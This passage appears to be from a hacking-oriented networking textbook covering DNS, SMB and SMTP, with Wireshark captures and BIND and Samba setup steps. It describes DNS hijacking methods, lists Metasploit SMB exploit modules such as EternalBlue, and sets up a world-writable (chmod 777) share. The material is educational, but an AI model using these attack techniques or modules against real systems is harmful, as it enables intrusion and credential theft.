Total Authority Resource Records	Total Additional Resource Records

If we capture DNS queries with Wireshark, we should see something like the capture below. Notice that a **DNS query** is sent from the **client**, and the **DNS response** comes from the **DNS server**.

🛋 615.cap				- 🗆 X
File Edit View G	o Capture Analyze Statistics Tele	phony Wireless Tools Help		
A H & O	1 X 2 9 + + 1 7 ± 1			
Apply a deplay filter	<0%/>			🛄 *) Dyresson +
No. Time	Source	Destination	Protocol	Length Julo
+ 10.000000	192.168.0.114	dns.asm.bellsouth.net	DNS	76 Standard query 0x6408 A chrissanders.org
- 2 0.112121	dns.asm.bellsouth.net	192.168.0.114	DNS	92 Standard query response 0x5408 A chrissanders.org A 208.113.140.24
3 1.147063	192.168.0.114	dns.asm.bellsouth.net	DNS	84 Standard query 0xSa08 A www.google-analytics.com
4 1.174885	dns.asm.bellsouth.net	192.168.0.114	DNS	160 Standard query response 0x5a08 A www.google-analytics.com CWVE www.google-analytics.l.goog
5 1.202845	192.168.0.114	dns.asm.bellsouth.net	DNS	89 Standard query 0xc809 A pagead2.googlesyndication.com
6 1.203306	192.168.0.114	dns.asm.bellsouth.net	DNS	78 Standard query 0x530e A www.expoactive.com
7 1.229885	dns.asm.bellsouth.net	192.168.0.114	DNS	173 Standard query response @xc809 A pagead2.googlesyndication.com CNAME pagead2.google.com CNA
\$ 1.798098	dns.asm.bellsouth.net	192.168.0.114	DNS	100 Standard query response 0x530e A snav.expoactive.com CNAME expoactive.com A 72.3.133.240
9 13.10053		dns.asm.bellsouth.net	DNS	73 Standard query 0x100f A wireshark.org
10 13.27970		192.168.0.114	CNS [1	B9 Standard query response 0x100f A wireshark.org A 128.121.50.122
11 14.07102		dns.asm.bellsouthinet	045	15 Standard guery, 8x930c A war.vinpcap.org
12 14.07191		dns.asm.bellsouthimet	1 Nut 1.66.	"I 'iui' 7& Stalidahd/bulery dkdebd A www.google.com
13 14.12425		192.168.0.114	015	91 Standard query response 0x930c A www.winpcap.org A 128.121.79.138
14 14,12583	dns.asm.bellsouth.net	192.168.0.114	DNS	126 Standard query response 0xde0d A www.google.com CNAPE www.l.google.com A 72.14.209.104 A 72
4				
				,
	es on wire (608 bits), 76 bytes			
		6e180124), Osti D-L1nk_2119914c (0010515612119		
		4 (192.168.0.114), Dst: 205.152.37.23 (205.152	2.37.23)	
	votocol, Src Port: polestar (10	60), Ost Port: domain (53)		
> Donain Name Sys	tem (query)			

It's also important to note that these queries use UDP and not TCP (zone transfers use TCP).

If we expand the DNS packets, we can see that they come in two varieties, Standard Query, as seen below...

14		
ſ		Length: 42
I		Checksum: 0x7374 [unverified]
I		[Checksum Status: Unverified]
I		[Stream index: 0]
I	~	Domain Name System (query)
I		Transaction ID: 0x6408
I		> Flags: 0x0100 Standard query
I		Questions: 1
I		Answer RRs: 0
I		Authority RRs: 0
I		Additional RRs: 0
I		> Queries
I		[Response In: 2]

... and a Standard Query Response, as seen below.

```
    Domain Name System (response)
        Transaction ID: 0x6408

    Flags: 0x8180 Standard query response, No error Questions: 1
        Answer RRs: 1
        Authority RRs: 0
        Additional RRs: 0
        Queries
        Answers
```

DNS Security and Vulnerabilities

The Domain Name Service was once very fragile and vulnerable to attack. Over the years, the system has been hardened, and attacks are more infrequent but still occur. In some cases, the hackers/attackers can simply harvest information from the DNS servers on the target, such as DNS scanning and DNS recon (see <u>Abusing DNS for Reconnaissance</u>).

On local area networks (LAN), it may be possible to spoof DNS with tools such as <u>dnsspoof</u> to send client traffic to a local system of the hacker's choice. For instance, the attacker could send all the banking traffic to their malicious site and harvest credentials there.

DNS Vulnerabilities

Although among the most malicious attacks on DNS would be changing your DNS server (A Record) and changing where your client is taken when requesting a website, these are increasingly rare but not unheard of (see Iranian DNS attacks below). Increasingly, successful attacks against DNS are Denial of Service (DOS) attacks.

While on most systems and protocols, DoS attacks are an inconvenience, with such an essential service as DNS, a DoS attack can be crushing. Imagine if your business or ISP's DNS server went down. Although the Internet would still be functioning (you could ping any IP address), you would not be able to connect to any sites without entering their full IP address (or changing your DNS server).

If we view the list of BIND (a Linux implementation of DNS) vulnerabilities in the CVE database, we can see the vast majority of the vulnerabilities in recent years are DoS attacks.



Warning : Vulnerabilities with publish dates before 1999 are not included in this table and chart. (Because there are not many of them and they make the page look bad; and they may not be a years.)



Among the most malicious DNS attacks would be the zone transfer. A zone is the data that maps IP addresses to domains. If an attacker can change that information on a DNS server, even Internet traffic would be re-directed to their website, causing all types of mischief.

Changing DNS Server Settings

Another type of attack against the DNS system would be to simply change the setting that directs the DNS queries to another malicious DNS server. In a way, this really isn't technically an attack against DNS but rather an attack against internal credentials and servers, such as the mail server. You can read below the details of an attack U.S. CERT warned against in early 2019 where credentials of the sysadmin (or another user with authority to change DNS records) redirect users' DNS queries to their malicious DNS Server.

Technical Details

Using the following techniques, attackers have redirected and intercepted web and mail traffic, and could do so for other networked services.

- 1. The attacker begins by compromising user credentials, or obtaining them through alternate means, of an account that can make changes to DNS records.
- 2. Next, the attacker alters DNS records, like Address (A), Mail Exchanger (MX), or Name Server (NS) records, replacing the legitimate address of a service with an address the attacker controls. This enables them to direct user traffic to their own infrastructure for manipulation or inspection before passing it on to the legitimate service, should they choose. This creates a risk that persists beyond the period of traffic redirection.
- Because the attacker can set DNS record values, they can also obtain valid encryption certificates for an organization's domain names. This allows the redirected traffic to be decrypted, exposing any user-submitted data. Since the certificate is valid for the domain, end users receive no error warnings.

Recently a group of Iranian hackers was able to attack the DNS of multiple companies in order to harvest credentials. They did this in at least three different ways;

1. Attackers change DNS records for the victim's mail server to redirect it to their own email server. Attackers also use Let's Encrypt certificates to support HTTPS traffic and a load balancer to redirect victims back to the real email server after they've collected login credentials from victims on their shadow server

2. Same as the first, but the difference is where the company's legitimate DNS records are being modified. In the first technique, attackers changed DNS A records via an account at a managed DNS provider, while in this technique, attackers changed DNS NS records via a TLD (domain name) provider account

3. Sometimes also deployed as part of the first two techniques. This relies on deploying an "attacker operations box" that responds to DNS requests for the hijacked DNS record. If the DNS request (for a company's mail server) comes from inside the company, the user is redirected to the malicious server operated by attackers, but if the request comes from outside the company, the request is directed to the real email server.

DNS Security or DNSSec

DNS, by default, is NOT secure. DNS can be easily spoofed due to the fact that DNS is based on UDP, which is not connection-oriented. DNSSEC, or DNS Security Extensions, was developed to strengthen the authentication in DNS by using digital signatures.

Every DNS zone has a public/private key. Any recursive resolver that looks up data in the zone also retrieves the zone's public key, which can be used to validate the authenticity of the data.

Before DNSSec, it was possible for malicious actors to execute zone transfers on DNS servers. This would poison the data making it unreliable. DNSSEC prevents this by;

1. Cryptographically verifying that the data it receives actually comes from the zone it believes it should come from;

2. Ensuring the integrity of the data so that the data can't be altered en route as the data must be digitally signed by the private key of the zone.

Building a DNS (BIND) Server in Linux

Now that we understand the basics of how DNS works and how attackers might use DNS in their attacks let's set up a DNS server in our Linux system. BIND or Berkeley Internet Domain System is commonly used on Linux systems, is the most widely used DNS server on the Internet, and is among the best DNS systems.

Although setting up and configuring a BIND server is a profession in itself, here we will attempt to set a simple, basic BIND server on our local area network (LAN) to help you understand the functioning of these servers.

First, let's download and install bind9 from the repository.

kali > apt-get install bind9



If bind9 is not in your repository, you can get it directly from the ISC.org reposority using git clone.

kali > git clone https://gitlab.isc.org/isc-projects/bind9.git

root@kali:~# git clone https://gitlab.isc.org/isc-projects/bind9.git Cloning into 'bind9'... remote: Enumerating objects: 552240, done. remote: Counting objects: 100% (552240/552240), done. remote: Compressing objects: 100% (94753/94753), done. Receiving objects: 13% (74880/552240), 14.03 MiB | 841.00 KiB/s

2. Next, let's open the configuration file for BIND at /etc/bind/named.conf.options (all configuration files for BIND are located at /etc/bind).

kali > leafpad /etc/bind/named.conf.options

```
options {
      directory "/var/cache/bind";
      // If there is a firewall between you and nameservers you want
      // to talk to, you may need to fix the firewall to allow multiple
      // ports to talk. See http://www.kb.cert.org/vuls/id/800113
      // If your ISP provided one or more IP addresses for stable
      // nameservers, you probably want to use them as forwarders.
      // Uncomment the following block, and insert the addresses replacing
      // the all-0's placeholder.
      // forwarders {
      11
             0.0.0.0;
      // };
      // If BIND logs error messages about the root key being expired,
      // you will need to update your keys. See https://www.isc.org/bind-keys
      //-----
      dnssec-validation auto;
      listen-on-v6 { any; };
      listen-on port 53 {localhost; 192.168.10/24; };
      allow-query { localhost; 192.168.1.0/24; };
      forwarders {75.75.75.75; };
       recursion yes;
      };
```

As you can see, we edited the highlighted paragraph to;

listen on port 53 from localhost and our local area network on 192.168.1.0/24;

allow-query on localhost and 192.168.1.0/24

use forwarder at 75.75.75.75 (where to forward DNS requests when your DNS server can't resolve the query)

and enable recursion.

3. Next, let's open named.conf.local. This is where we define the zones file for our domain.

*named.conf.local File Edit Search Options Help 11 // Do any local configuration here 11 // Consider adding the 1918 zones here, if they are not used in your // organization //include "/etc/bind/zones.rfc1918"; zone "hackers-arise.com" { type master; file "/etc/bind/forward.hackers-arise.local"; 1: zone "0.168.192.in.addr.arpa" { type master; file "/etc/bind/reverse.hackers-arise.local"; };

Note that we defined the locations of our forward and reverse lookup zone files. Now, we need to create these forward and reverse zone files.

Let's navigate to the /etc/bind directory. There you will see a file named db.local. This is a template for our fowarder file. Let's copy it to a file named forward.hackers-arise.local.

```
oot@kali:~# ls -l /etc/bind
total 52
-rw-r--r-- 1 root root 2761 Feb 22 09:54 bind.keys
-rw-r--r-- 1 root root 237 Feb 22 09:54 db.0
-rw-r--r-- 1 root root 271 Feb 22 09:54 db.127
rw-r--r-- 1 root root 237 Feb 22 09:54 db.255
rw-r--r-- 1 root root 353 Feb 22 09:54 db.empty
-rw-r--r-- 1 root root 270 Feb 22 09:54 db.local
-rw-r--r-- 1 root bind 463 Feb 22 09:54 named.conf
-rw-r--r-- 1 root bind
                       498 Feb 22 09:54 named.conf.default-zones
rw-r--r-- 1 root bind 359 Apr 29 16:14 named.conf.local
-rw-r--r-- 1 root bind 992 Apr 29 16:06 named.conf.options
-rw-r---- 1 bind bind
                        77 Mar 29 10:05 rndc.key
drwxr-sr-x 2 root bind 4096 Apr 11 14:08 zones
rw-r--r-- 1 root root 1317 Feb 22 09:54 zones.rfc1918
 oot@kali:~#
```

kali > cp db.local forward.hackers-arise.local

kali > leafpad /etc/bind/forward.hackers-arise.local

Let's open this file in leafpad and make a few changes by specifying our domain (hackersarise.com), the IP address of our DNS server (192.168.1.27), our mail server, and finally, the IP addresses of the web server and email server.

```
*forward.hackers-arise.local
File Edit Search Options Help
 BIND data file for local loopback interface
       604800
$TTL
               SOA
                       localhost. root.localhost. (
       IN
@
                           2 ; Serial
                                    ; Refresh
; Retry
; Expire
                        604800
                      86400
2419200
                        604800 )
                                    ; Negative Cache TTL
; Name Server info
       IN NS primary.hackers-arise.local. <
0
; IP address of Your DNS Server
                      192.168.1.27
primary IN A
; Mail Server MX Record
hackers-arise.local. IN MX 🛛 mail.hackers-arise.local. 🧲
; A Record of Host Name
WWW
       IN
               А
                    192.168.1.37
                    192.168.1.47
       ΙN
mail
               А
```

Now, we need to create a reverse lookup file. Once again, we have a template in the /etc/bind directory. In this case, it's named **db.127**. Let's copy it to reverse.hackers-arise.local.

kali > cp db.127 reverse.hackers-arise.local

Then, let's open that file with leafpad.

kali > leafpad /etc.bind/reverse.hackers-arise.local

*reverse.hackers-arise.local File Edit Search Options Help ; BIND reverse data file for local loopback interface \$TTL 604800 SOA 0 IN localhost. root.localhost. (1 ; Serial ; Refresh 604800 ; Retry 86400 2419200 ; Expire 604800) ; Negative Cache TTL ; Your Name Server IN NS primary.hackers-arise.local. 192.168.1.27 primary IN А ; Reverse Lookup for your Name Server 27 IN PTR primary.hackers-arise.local. PTR Records (these translate IP to Hostname) 37 IN PTR www.hackers-arise.local. 47 IN PTR mail.hackers-arise.local.

Let's now make a few changes.

Under "Your Name Server" add;

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primary.your domain.local.

The IP address of the name server

Under "Reverse Lookup" add;

the last octet of the IP address of the NS and primary.your domain.local.

Under "PTR Records" add;

the last octet of the webserver and www.your domain.local

the last octet of the mail server and mail.your domain.local.

4. In our final step, we just need to restart the service for our changes to be captured and implemented.

kali > service bind9 restart



For those of you prefer the new systemd commands, this works just as well.

kali > systemctl restart bind9

Now, our BIND server is ready to resolve DNS queries on our local area network!

Summary

DNS is among the essential communication protocols for the smooth functioning of your internet access, translating human-readable domain names to router-readable IP addresses. There has been a number of security threats to DNS, including stealing DNS admin credentials and changing zone files, and Denial of Service (DoS) attacks.

Exercises

- 1. Use a text editor to open your hosts file
- 2. Build a BIND DNS server for your domain
- 3. Search the CVE database for any new DNS vulnerabilities

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Chapter 9 Server Message Block (SMB)

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In this chapter, we will address Server Message Block or SMB. Although most people have heard the acronym, few really understand this key protocol. It may be the most impenetrable and least understood of the communication protocols, but so critical to the smooth functioning of your network and its security.

What is SMB?

Server Message Block (SMB) is an application layer (layer 7) protocol that is widely used for file, port, named pipe, and printer sharing. It is a client-server communication protocol. It enables users and applications to share resources across their LAN. This means that if one system has a file that is needed by another system, SMB enables the user to share their files with other users. In addition, SMB can be used to share a printer over the Local Area Network (LAN).

SMB over TCP/IP uses port 445.



NetBEUI = NetBIOS Extended User Interface

MS-BRWS = CIFS Browser Protocol = Microsoft Browser

SMB is a client-server, request-response protocol. The diagram below illustrates the requestresponse nature of this protocol. Clients connect to servers via TCP/IP or NetBIOS. Once the two have established a connection, the clients can send commands to access shares, read and write files, and access printers. In general, SMB enables the client to do everything they normally do on their system but over the network.



SMB was first developed by IBM in the 1980s (the dominant computer company from the 1950s through the mid-1990s) and then adopted and adapted by Microsoft for its Windows operating system

CIFS

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The term CIFS and SMB are often confused by the novice and cyber security professional alike. CIFS stands for "Common Internet File System." CIFS is a dialect or a form of SMB. That is, CIFS is a particular implementation of the Server Message Block protocol. It was developed by Microsoft to be used on early Microsoft operating systems.

CIFS is now generally considered obsolete as it has been supplanted by more modern implementations of SMB, including SMB 2.0 (introduced in 2006 with Windows Vista) and SMB 3.0 (introduced with Windows 8 and Server 2012).

SMB Vulnerabilities

SMB in Windows and Samba in Linux/Unix systems (see below) has been a major source of critical vulnerabilities on both these operating systems in the past and will likely continue to be a source of critical vulnerabilities in the future. Two of the most critical Windows vulnerabilities over the last decade or so have been SMB vulnerabilities. These include **MS08-067** and, more recently, the **EternalBlue** exploit developed by the NSA. In both cases, these exploits enabled the attacker to send specially crafted packets to SMB and execute remote code with system privileges on the target system. In other words, armed with these exploits, the attacker could take over any system and control everything on it.

For a detailed look at the EternalBlue exploit against Windows 7 by <u>Metasploit, see my tutorial</u> <u>here (</u>https://www.hackers-arise.com/post/2017/06/12/metasploit-basics-part-8-exploitation-witheternalblue)

In addition, the Linux/Unix implementation of SMB, Samba, has had its own problems as well.

Although far from a complete list of vulnerabilities and exploits, when we search Metasploit for smb exploits, we find the considerable list below.

msf> search type:exploit smb

nsf5 > search type:exploit smb				
atching Modules				
Nane	Disclosure Date	Rank	Check	Description
exploit/linux/samba/chain_reply	2010-06-16	good	No	Samba chain reply Memory Corruption (Linux x86)
exploit/multi/http/struts_code_exec_classloader	2014-03-06	manual	No	Apache Struts ClassLoader Manipulation Remote Code Execution
exploit/multi/ids/snort_dce_rpc	2007-02-19	good	No	Snort 2 DCE/RPC Preprocessor Buffer Overflow
exploit/netware/smb/lsass_cifs	2007-01-21	average	No	Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow
exploit/osx/browser/safari_file_policy	2011-10-12	normal	No	Apple Safari file:// Arbitrary Code Execution
exploit/windows/browser/java_ws_arginject_altjvm	2010-04-09	excellent	No	Sun Java Web Start Plugin Command Line Argument Injection
exploit/windows/browser/java_ws_double_quote	2012-10-16	excellent		Sun Java Web Start Double Quote Injection
exploit/windows/browser/java_ws_vmargs	2012-02-14	excellent	No	Sun Java Web Start Plugin Command Line Argument Injection
exploit/windows/browser/ms10_022_ie_vbscript_winhlp32_	2010-02-26	great	No	MS10-022 Microsoft Internet Explorer Winhlp32.exe MsgBox Code Execution
exploit/windows/fileformat/ms13_071_theme	2013-09-10	excellent		MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution
exploit/windows/fileformat/ms14_060_sandworm	2014-10-14	excellent	No	MS14-060 Microsoft Windows OLE Package Manager Code Execution
exploit/windows/fileformat/ursoft_w32dasm	2005-01-24	good	No	URSoft W32Dasm Disassembler Function Buffer Overflow
exploit/windows/fileformat/vlc_smb_uri	2009-06-24	great	No	VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow
exploit/windows/http/generic_http_dll_injection	2015-03-04	manual	No	Generic Web Application DLL Injection
exploit/windows/misc/hp_dataprotector_cmd_exec	2014-11-02	excellent		HP Data Protector 8.10 Remote Command Execution
exploit/windows/misc/hp_dataprotector_install_service	2011-11-02	excellent		HP Data Protector 6.10/6.11/6.20 Install Service
exploit/windows/oracle/extjob	2007-01-01	excellent		Oracle Job Scheduler Named Pipe Command Execution
exploit/windows/scada/ge_proficy_cimplicity_gefebt	2014-01-23	excellent		GE Proficy CIMPLICITY gefebt.exe Remote Code Execution
exploit/windows/smb/generic_smb_dll_injection	2015-03-04	manual	No	Generic DLL Injection From Shared Resource
exploit/windows/smb/group_policy_startup	2015-01-26	manual	No	Group Policy Script Execution From Shared Resource
exploit/windows/smb/ipass_pipe_exec	2015-01-21	excellent		IPass Control Pipe Remote Command Execution
exploit/windows/smb/ms03_049_netapi	2003-11-11	good	No	MS83-849 Microsoft Workstation Service NetAddAlternateComputerName Overflow
exploit/windows/smb/ms04_007_killbill	2004-02-10	low	No	MS04-007 Microsoft ASN.1 Library Bitstring Heap Overflow
exploit/windows/smb/ms04_011_lsass	2004-04-13	good	No	MS04-011 Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow
exploit/windows/smb/ms04_031_netdde	2004-10-12	good	No	MS04-031 Microsoft NetDDE Service Overflow
exploit/windows/smb/ms05_039_pnp	2005-08-09	good	Yes	MS05-039 Microsoft Plug and Play Service Overflow
exploit/windows/smb/ms06_025_rasmans_reg	2005-06-13	good	No	MS06-025 Microsoft RRAS Service RASMAN Registry Overflow
exploit/windows/smb/ms06_025_rras	2006-06-13	average	No	MS06-025 Microsoft RRAS Service Overflow
exploit/windows/smb/ms06_040_netapi	2006-08-08	good	No	MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow
exploit/windows/smb/ms06_066_nwapi	2005-11-14	good	No	MS06-066 Microsoft Services nwapi32.dll Module Exploit
exploit/windows/smb/ms06_066_nwwks	2006-11-14	good	No	MS06-066 Microsoft Services nwwks.dll Module Exploit
exploit/windows/smb/ms06_070_wkssvc	2005-11-14	manual	No	MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow
exploit/windows/smb/ms07 029 msdns zonename	2007-04-12	manual	No	MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)
exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08-067 Microsoft Server Service Relative Path Stack Corruption
exploit/windows/smb/ms09_050_smb2_negotiate_func_index		good	No	MS09-050 Microsoft SRV2.SYS SM8 Negotiate ProcessID Function Table Dereference
exploit/windows/smb/ms10_046_shortcut_icon_dllloader	2010-07-16	excellent		Microsoft Windows Shell LNK Code Execution
exploit/windows/smb/ms10_061_spoolss	2010-09-14	excellent		MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability
exploit/windows/smb/ms15 020 shortcut icon dllloader	2015-03-10	excellent		Microsoft Windows Shell LNK Code Execution
exploit/windows/smb/ms17 010 eternalblue	2017-03-14	average	No	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8	2017-03-14	average	No	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	No	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code 8

Note the highlighted infamous MS08-067 exploit responsible for the compromising of millions of Windows Server 2003, Windows XP, and earlier systems. Near the bottom of the list, you can find the NSA's EternalBlue exploit (MS17-010) that the NSA used to compromise an untold number of systems and then--after its release by Shadowbrokers--was used by such ransomware as Petya and WannaCry.

In the Network Forensics section at Hackers-Arise, <u>I have detailed packet-level analysis of the</u> EternalBlue exploit against **SMB** on a Windows 7 system (https://www.hackersarise.com/post/2018/11/30/network-forensics-part-2-packet-level-analysis-of-the-eternalblueexploit).

				8	Expression
Time	Source	Destination	Protocol	Length Info	
7 0.0	02461 192.168.198.203	192.168.198.204	SM8	173 Negotiate Protocol Response	
8 0.0	02463 192.168.198.204	192.168.198.203	\$218	194 Session Setup AndX Request, User: anonymous	
9 0.0	02639 192.168.198.203	192.168.198.284	5M8	251 Session Setup AndX Response	
10 0.0	02651 192.168.198.204	192.168.198.203	\$118	154 Tree Connect AndX Request, Path: \\192.168.198.203\IPC\$	
11 0.0	02652 192.168.198.203	192.168.198.204	SMB	114 Tree Connect AndX Response	
12 0.0	02653 192.168.198.204	192.168.198.203	5118	136 Trans2 Request, SESSION_SETUP	
13 0.0	02654 192.168.198.203	192.168.198.204	5/18	93 Trans2 Response, SESSION_SETUP, Error: STATUS_NOT_IMPLEMENTED	
14 0.0	84962 192.168.198.284	192.168.198.203	5/18	1138 NT Trans Request, <unknown></unknown>	
15 0.0	05044 192.168.198.203	192.168.198.284	\$18	95 NI Trans Response, (unknown (8))	
16 0.0	05204 192.168.198.204	192.168.198.203	5118	4207 Trans2 Secondary Request, FID: 0x0000	
NT Tran Nord Max Rese Tota	<pre>inlex 10: 65 is Request (0xs0) fcount (w.1): 20 Setup Count: 1 rrved: 0000 il Parameter Count: 30 00 08 5f fe 00 08 41 00 24 00</pre>	1 00 00 1e 00	··· A-	70	
68 88 88	d0 03 01 00 1c 00 00 00 00 00 4b 00 00 00 d0 03 00 00 68 00 00 cc 03 00 00 00 00 00 00 00 00	9 68 68 61 68 ···K··· 9 68 68 69 69 ···K··· 9 68 69 69 69 ····	h	NT Trans Request	

Building a Samba Server in Kali Linux

While SMB was originally developed by IBM and then adopted by Microsoft, Samba was developed to mimic a Windows server on a Linux/UNIX system. This enables Linux/UNIX systems to share resources with Windows systems as if they were Windows systems.



Sometimes the best way to understand a protocol or system is simply to install and implement it yourself.

Here, we will install, configure and implement Samba on a Linux system. As usual, I will be using Kali--which is built upon Debian-- for demonstration purposes, but this should work on any Debian system, including Ubuntu and usually any of the wide variety of *NIX systems.

Download and Install Samba

The first step, if not already installed, is to download and install Samba. It is in most repositories, so simply enter the command;

kali > apt-get install samba

```
root@kali:~# apt-get install samba
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  glusterfs-common ibverbs-providers libacl1-dev libattr1-dev
  libboost-random1.62.0 libcephfs1 libibverbs1 librdmacm1 libunbound2
  python-jwt
Use 'apt autoremove' to remove them.
The following additional packages will be installed:
  libgnutls-dane0 libgnutls30 libhogweed4 libldb1 libnettle6 libsmbclient
  libunbound8 libwbclient0 python-ldb python-samba samba-common
  samba-common-bin samba-dsdb-modules samba-libs samba-vfs-modules smbclient
  winexe
Suggested packages:
  gnutls-bin python-gpgme bind9 bind9utils ctdb ldb-tools smbldap-tools ufw
  winbind heimdal-clients cifs-utils
Recommended packages:
  libcephfs2 libgfapi0
The following NEW packages will be installed:
                              @AnonGhostNetwork
```

Start Samba

Once Samba has been downloaded and installed, we need to start Samba. Samba is a service in Linux, and like any service, we can start it with the **service or systemctl** command.

kali > service smbd start

Note that the service is not called "Samba" but rather smbd or smb daemon.

```
root@kali:~# service smbd start
root@kali:~#
```

Configure Samba

Like nearly every service or application in Linux, the configuration can be done via a simple text file. For Samba, that text file is at /etc/samba/smb.conf. Let's open it with any text editor.

kali > leafpad /etc/samba/smb.conf

```
0 0 0
                                                               smb.conf
File Edit Search Options Help
  1#
2# Sample configuration file for the Samba suite for Debian GNU/Linux.
  4#
  5 # This is the main Samba configuration file. You should read the 6 # smb.conf(5) manual page in order to understand the options listed
   7 # here. Samba has a huge number of configurable options most of which
  8 # are not shown in this example
  9#
 10 # Some options that are often worth tuning have been included as
  11 # commented-out examples in this file.
  12 # - When such options are commented with ";", the proposed setting
 13# differs from the default Samba behaviour
14# - When commented with "#", the proposed setting is the default
15# behaviour of Samba but the option is considered important
 16#
         enough to be mentioned here
  17 #
  18 # NOTE: Whenever you modify this file you should run the command
  19 # "testparm" to check that you have not made any basic syntactic
  20 # errors.
  24 [global]
 26 ## Browsing/Identification ###
 28 # Change this to the workgroup/NT-domain name your Samba server will part of
       workgroup = WORKGROUP
  31 #### Networking ####
  33 # The specific set of interfaces / networks to bind to
  34 # This can be either the interface name or an IP address/netmask;
  35 # interface names are normally preferred
        interfaces = 127.0.0.0/8 eth0
 36;
```

We can configure Samba on our system by simply adding the following lines to the end of our configuration file.

```
[HackersArise_share]
comment=Samba on Hackers-Arise
path= /home/OTW/HackersArise_share
read only = no
browsable = yes
```

In our example, we begin with the;

naming our share [HackersArise_share];

providing a comment to explain comment = Samba on Hackers-Arise;

provide a path to our share **path = /home/OTW/HackersArise_share**;

determine whether the share is read only **read only = no**;

determine whether the share is browsable **browsable** = yes.

Note that the share is in the user's home directory (/home/OTW/HackersArise_share), and we have the option to make the share "read-only."

Creating a share

Now that we have configured Samba, we need to create a share. A "share" is simply a directory and its contents that we make available to other users and applications on the network.

The first step is to create a directory using **mkdir** in the home directory of the user. In this case, we will create a directory for user OTW called HackersArise_share.

kali > mkdir /home/OTW/HackersArise_share

root@kali:~# mkdir /home/OTW/HackersArise_share

Once that directory has been created, we need to give every user access to it by changing its permissions with the **chmod** command.

kali > chmod 777 /home/OTW/HackersArise_share

root@kali:~# chmod 777 /home/OTW/HackersArise_share

Now, we need to restart Samba to capture the changes to our configuration file and our new share.

kali > service smbd restart

With the share created from any Windows machine on the network, you can access that share by simply navigating via File Explorer to the share by entering the IP address and the name of the share, such as;

\\192.168.1.101\HackersArise_share

Summary

SMB is a critical protocol on most computer systems for file, port, printer, and named pipe sharing. It is little understood and little appreciated by most cyber security professionals, but it can be a critical vulnerability on these systems, as shown by MS08-067 and the NSA's EternalBlue. The better we understand these protocols, the better we protect our systems from attack and compromise.

Excercises

1. Build a SAMBA server for your domain

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Chapter 9

Simple Message Transfer Protocol (SMTP)

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In this chapter, we will examine the Simple Mail Transport Protocol (SMTP), the protocol most of us could not live without!
What is SMTP?

Simple Mail Transport Protocol, or SMTP as it is commonly known, is among the most important protocols in our digital age. It is used to transfer email from one user to another. Although SMTP was first codified in 1983, it is still this same protocol that carries nearly all emails with some enhancements.



As the diagram above displays, the client <u>Ana@maildomain-abc.com</u> sends an email to the MTU server via SMTP and retrieves email via either POP3 or IMAP. The same is true for the other client, <u>Lav@maildomain-xyz.com</u>. Communication between the email servers or MTUs is exclusively SMTP on port 25. POP3 uses port 110, and IMAP uses port 143.

The Email Processing Model

First, email is submitted by an email client or mail user agent (MUA), such as Microsoft Outlook, Mozilla, etc., to the email server (mail server agent or MSA) using SMTP on port 587. This email is then transferred to the MTU. Most often, these two agents (MUA and MTU) are the same system managed by a single piece of software.

The boundary MTA uses DNS to look up the MX record of the recipient's domain (see <u>DNS</u>). This record includes the name of the target MTA. We can demonstrate this with the <u>dig</u> <u>command</u>.

kali@kali:~\$ dig microsoft.com mx

<pre>; <<>> DiG 9.16.4-Debian <<>> microsoft.com mx ;; global options: +cmd ;; Got answer: ;; ->>HEADER</pre>					
;microsoft.com.		IN	мх		
<pre>;; ANSWER SECTION: microsoft.com. ok.com.</pre>	3600	IN	мх	10 microsoft-com.mail.protection.outlo	
;; AUTHORITY SECTION:					
microsoft.com.	166963	IN	NS	ns3-205.azure-dns.org.	
microsoft.com.	166963	IN	NS	ns2-205.azure-dns.net.	
microsoft.com.	166963	IN	NS	ns1-205.azure-dns.com.	
microsoft.com.	166963	IN	NS	ns4-205.azure-dns.info.	
;; ADDITIONAL SECTION: ns1-205.azure-dns.com. ns1-205.azure-dns.com. ns2-205.azure-dns.net. ns2-205.azure-dns.net.	29208 27915	IN IN IN IN	а Аааа А Аааа	40.90.4.205 2603:1061::cd 64.4.48.205 2620:1ec:8ec::cd	

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The MTA selects the target host, connects to it, and sends the message.

Once the server receives the incoming message, it hands it to a mail delivery agent (MDA) for delivery to the local recipient. Once the message is delivered to the local mail server, the email is stored for retrieval by an authenticated MUA.

Types of MTUs

There are multiple mail transfer units used on various systems. In Linux, the major players are sendmail, EXIM, and postfix. On Microsoft's operating system, the major player is Microsoft's Exchange Server.

Packet-Level Analysis with Wireshark

When we capture packets going to an SMTP server, it looks something like that below.

2 0.000043 3 0.000183 4 0.033915	Source 172.16.16.225 172.16.16.221 172.16.16.225	Destnation 172.16.16.221 172.16.16.225	Protocol TCP TCP	Lengh 1/6 66 40313 + smtp(25) [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1
2 0.000043 3 0.000183 4 0.033915	172.16.16.221 172.16.16.225	172.16.16.225		
3 0.000183 4 0.033915	172.16.16.225		TCP	
4 0.033915				66 smtp(25) + 49313 [SYN, ACK] Seq+0 Ack=1 Win=29200 Len+0 MSS=1460 SACK_PERM=1 WS=128
		172.16.16.221	TCP	60 49313 + smtp(25) [ACK] Seq=1 Ack=1 Win=65536 Len=0
5 0.057082	172.16.16.221	172.16.16.225	SHTP	89 S: 220 mail01 ESMTP Postfix (Ubuntu)
	172.16.16.225	172.16.16.221	SMTP	76 C: EHLO [172.16.16.225]
	172.16.16.221	172.16.16.225	TCP	54 smtp(25) + 49313 [ACK] Seq=36 Ack=23 klin=29312 Len=0
	172.16.16.221	172.16.16.225	SHTP	183 S1 250-mail01 PIPELINING SIZE 10240000 VRFY ETRN STARTTLS ENHANCEDSTATUSCODES 88ITHIDHE DSN
